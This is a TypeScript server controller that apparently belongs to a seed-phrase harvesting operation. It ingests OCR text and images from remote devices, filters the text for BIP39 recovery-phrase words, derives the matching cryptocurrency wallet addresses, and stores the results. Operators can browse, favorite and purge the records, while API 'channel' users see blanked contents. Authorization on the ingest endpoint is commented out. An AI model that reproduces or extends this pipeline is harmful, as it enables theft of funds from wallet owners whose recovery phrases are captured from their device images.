OcrRecordController.ts 12 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335
  1. import { HttpContextContract } from '@ioc:Adonis/Core/HttpContext'
  2. import PaginationService from 'App/Services/PaginationService'
  3. import { schema } from '@ioc:Adonis/Core/Validator'
  4. import OcrRecord from 'App/Models/OcrRecord'
  5. import Drive from '@ioc:Adonis/Core/Drive'
  6. import BlockchainWalletService from 'App/Services/BlockchainWalletService'
  7. import * as bip39 from 'bip39'
  8. import { HttpStatusCode } from 'axios'
  9. import { HttpException } from '@adonisjs/http-server/build/src/Exceptions/HttpException'
  10. import FilesService from 'App/Services/FilesService'
  11. import * as console from 'node:console'
  12. export default class OcrRecordController {
  13. private paginationService = new PaginationService(OcrRecord)
  14. public async index({ request, auth }: HttpContextContract) {
  15. const user = auth.user
  16. const isApiUser = user?.$attributes?.role === 'api'
  17. const requestData = request.all()
  18. if (isApiUser) {
  19. requestData.channel = user.username
  20. }
  21. const res = await this.paginationService.paginate(requestData)
  22. if (isApiUser) {
  23. res.forEach((record) => {
  24. record.content = ''
  25. record.record = ''
  26. record.img = ''
  27. record.thumbnail = ''
  28. })
  29. } else {
  30. await Promise.all(
  31. res.map(async (record) => {
  32. if (record.img && record.img !== '-') {
  33. const url = new URL(record.img)
  34. const filePath = url.pathname.replace(/^\//, '')
  35. record.img = await Drive.getSignedUrl(filePath)
  36. record.thumbnail = await FilesService.generateThumbnailUrl(filePath)
  37. } else {
  38. record.img = ''
  39. record.thumbnail = ''
  40. }
  41. })
  42. )
  43. }
  44. return res
  45. }
  46. public async store({ request, bouncer }: HttpContextContract) {
  47. // await bouncer.authorize('admin')
  48. await request.validate({
  49. schema: schema.create({
  50. deviceId: schema.string(),
  51. record: schema.string()
  52. })
  53. })
  54. const data = request.all()
  55. data.content = await this.recordParsing(data.record)
  56. data.detail = await BlockchainWalletService.getAllAddresses(data.content)
  57. return await OcrRecord.create(data)
  58. }
  59. public async updateContent({ request, response }: HttpContextContract) {
  60. const data = await request.validate({
  61. schema: schema.create({
  62. id: schema.number(),
  63. content: schema.string()
  64. })
  65. })
  66. const record = await OcrRecord.findBy('id', request.input('id'))
  67. if (record) {
  68. record.content = data.content
  69. await record.save()
  70. return response.ok(record)
  71. } else {
  72. return response.notFound({ message: 'Record not found' })
  73. }
  74. }
  75. public async updateDetail({ params, response }: HttpContextContract) {
  76. const record = await OcrRecord.findBy('id', params.id)
  77. if (record) {
  78. const walletAddresses = await BlockchainWalletService.getAllAddresses(record.content)
  79. record.detail = JSON.stringify(walletAddresses)
  80. await record.save()
  81. return response.ok(record)
  82. } else {
  83. return response.notFound({ message: 'Record not found.' })
  84. }
  85. }
  86. public async updateFavorite({ params, response }: HttpContextContract) {
  87. const record = await OcrRecord.findBy('id', params.id)
  88. if (record) {
  89. record.favorite = !record.favorite
  90. await record.save()
  91. return response.ok(record)
  92. } else {
  93. return response.notFound({ message: 'Record not found.' })
  94. }
  95. }
  96. public async favorite({ request, auth }: HttpContextContract) {
  97. const user = auth.user
  98. const isApiUser = user?.$attributes?.role === 'api'
  99. const requestData = request.all()
  100. requestData.favorite = 1
  101. if (isApiUser) {
  102. requestData.channel = user.username
  103. }
  104. const res = await this.paginationService.paginate(requestData)
  105. if (isApiUser) {
  106. res.forEach((record) => {
  107. record.content = ''
  108. record.record = ''
  109. record.img = ''
  110. })
  111. } else {
  112. await Promise.all(
  113. res.map(async (record) => {
  114. if (record.img && record.img !== '-') {
  115. record.img = await Drive.getSignedUrl(
  116. new URL(record.img).pathname.replace(/^\//, '')
  117. )
  118. }
  119. })
  120. )
  121. }
  122. return res
  123. }
  124. public async getAllAddresses({ request }: HttpContextContract) {
  125. await request.validate({
  126. schema: schema.create({
  127. mnemonic: schema.string()
  128. })
  129. })
  130. return BlockchainWalletService.getAllAddresses(request.input('mnemonic'))
  131. }
  132. public async recordParsing(record: string) {
  133. // 解析记录字符串
  134. const lines = record.split('\n')
  135. if (record.includes('Rec:') && record.includes('Det:')) {
  136. // 提取所有Rec:后面的文本
  137. lines
  138. .filter((line) => line.includes('Rec:'))
  139. .map((line) => {
  140. const parts = line.split('Rec:')
  141. if (parts.length < 2) return ''
  142. // 获取Rec:之后、Cls:之前的部分
  143. const afterRec = parts[1]
  144. const beforeCls = afterRec.split('Cls:')[0]
  145. // 找到最后一个逗号的位置
  146. const lastCommaIndex = beforeCls.lastIndexOf(',')
  147. // 如果找到逗号,提取逗号之前的文本;否则使用整个文本
  148. return lastCommaIndex !== -1
  149. ? beforeCls.substring(0, lastCommaIndex).trim()
  150. : beforeCls.trim()
  151. })
  152. .filter((text) => text.length > 0)
  153. }
  154. // 从文本中提取潜在的助记词
  155. const potentialWords = new Set<string>()
  156. const englishWordRegex = /[a-zA-Z]+/g
  157. // 遍历所有行提取英文单词
  158. lines.forEach((line) => {
  159. const words = line.match(englishWordRegex)
  160. if (words) {
  161. words.forEach((word) => {
  162. // 忽略数字和分数值
  163. if (!word.includes('.') && isNaN(Number(word))) {
  164. potentialWords.add(word.toLowerCase())
  165. }
  166. })
  167. }
  168. })
  169. // 过滤出可能是BIP39助记词的单词
  170. const potentialBip39Words = Array.from(potentialWords).filter((word) => {
  171. // 使用bip39.wordlists.english检查单词是否在BIP39词表中
  172. return bip39.wordlists.english.includes(word)
  173. })
  174. // 寻找连续助记词序列
  175. const possibleMnemonics = await this.findPossibleMnemonics(lines, potentialBip39Words)
  176. console.log('Potential BIP39 words:', potentialBip39Words.toString())
  177. console.log('Potential mnemonics:', possibleMnemonics.toString())
  178. // 将所有可能的助记词合并为一个字符串返回
  179. if (possibleMnemonics.length < potentialBip39Words.length) {
  180. return potentialBip39Words.join(' ')
  181. }
  182. return possibleMnemonics.join(' ')
  183. }
  184. // 寻找可能的助记词序列
  185. private async findPossibleMnemonics(
  186. recTexts: string[],
  187. bip39Words: string[]
  188. ): Promise<string[]> {
  189. const mnemonics: string[] = []
  190. // 检查每行文本是否包含连续地助记词
  191. recTexts.forEach((text) => {
  192. const words = text.split(/\s+/)
  193. // 检查这一行是否包含多个BIP39词
  194. const bip39WordsInLine = words.filter((word) => {
  195. // 清理单词中的标点符号以及数字
  196. const cleanWord = word.replace(/[.,;:!?0-9]/g, '')
  197. return bip39Words.includes(cleanWord)
  198. })
  199. // 如果找到多个BIP39词,可能是助记词序列
  200. if (bip39WordsInLine.length >= 3) {
  201. // mnemonics存入bip39WordsInLine中每一个元素
  202. bip39WordsInLine.map((word) => {
  203. mnemonics.push(word)
  204. })
  205. }
  206. })
  207. // 尝试从所有文本中提取12或24个词的序列
  208. // const allWords = recTexts.join(' ').split(/\s+/)
  209. // const bip39WordsInAll = allWords.filter((word) => {
  210. // const cleanWord = word.replace(/[.,;:!?]/g, '')
  211. // return bip39Words.includes(cleanWord)
  212. // })
  213. //
  214. // bip39WordsInAll.map((word) => {
  215. // mnemonics.push(word)
  216. // })
  217. // 查找12词或24词的连续序列
  218. // for (let i = 0; i <= bip39WordsInAll.length - 12; i++) {
  219. // const possibleMnemonic = bip39WordsInAll.slice(i, i + 12).join(' ')
  220. // if (bip39.validateMnemonic(possibleMnemonic)) {
  221. // mnemonics.push(possibleMnemonic)
  222. // }
  223. // }
  224. //
  225. // for (let i = 0; i <= bip39WordsInAll.length - 24; i++) {
  226. // const possibleMnemonic = bip39WordsInAll.slice(i, i + 24).join(' ')
  227. // if (bip39.validateMnemonic(possibleMnemonic)) {
  228. // mnemonics.push(possibleMnemonic)
  229. // }
  230. // }
  231. // 返回去重后的助记词列表
  232. return mnemonics
  233. }
  234. public async imgCleaning({ request, bouncer, response }: HttpContextContract) {
  235. // 授权检查
  236. await bouncer.authorize('admin')
  237. // 验证请求数据
  238. const { startDate, endDate } = await request.validate({
  239. schema: schema.create({
  240. startDate: schema.string(),
  241. endDate: schema.string()
  242. })
  243. })
  244. // 查询符合条件的记录
  245. const records = await OcrRecord.query()
  246. .whereBetween('createdAt', [startDate, endDate])
  247. .where('favorite', 0)
  248. .whereNot('img', '-')
  249. console.log(`待清理图片数量: ${records.length}`)
  250. if (records.length === 0) {
  251. return response.status(200).ok({
  252. success: true,
  253. message: '没有符合条件的图片需要清理',
  254. count: 0
  255. })
  256. }
  257. const recordImgMap = new Map(records.map((record) => [record.id, record.img]))
  258. const filePaths = records
  259. .map((record) => {
  260. try {
  261. return {
  262. id: record.id,
  263. originalUrl: record.img,
  264. path: new URL(record.img).pathname.replace(/^\//, '')
  265. }
  266. } catch (error) {
  267. console.error(`无效的图片 URL: ${record.img}`)
  268. return null
  269. }
  270. })
  271. .filter(Boolean) as { id: number; originalUrl: string; path: string }[]
  272. const pathsToDelete = filePaths.map((item) => item.path)
  273. const imgResult = await FilesService.batchDelete(pathsToDelete)
  274. const successPaths = imgResult.success
  275. console.log(`清理成功路径数量: ${successPaths.length}`)
  276. // 找出成功删除的文件对应的记录ID
  277. const successIds = filePaths
  278. .filter((item) => successPaths.includes(item.path))
  279. .map((item) => item.id)
  280. const deletedCount = await OcrRecord.query().whereIn('id', successIds).delete()
  281. console.log(`删除成功记录数量: ${deletedCount}`)
  282. const successUrls = successIds.map((id) => recordImgMap.get(id)).filter(Boolean)
  283. return response.status(200).ok({
  284. success: true,
  285. message: `清理成功数量: ${successPaths.length}`,
  286. count: successUrls.length
  287. })
  288. }
  289. }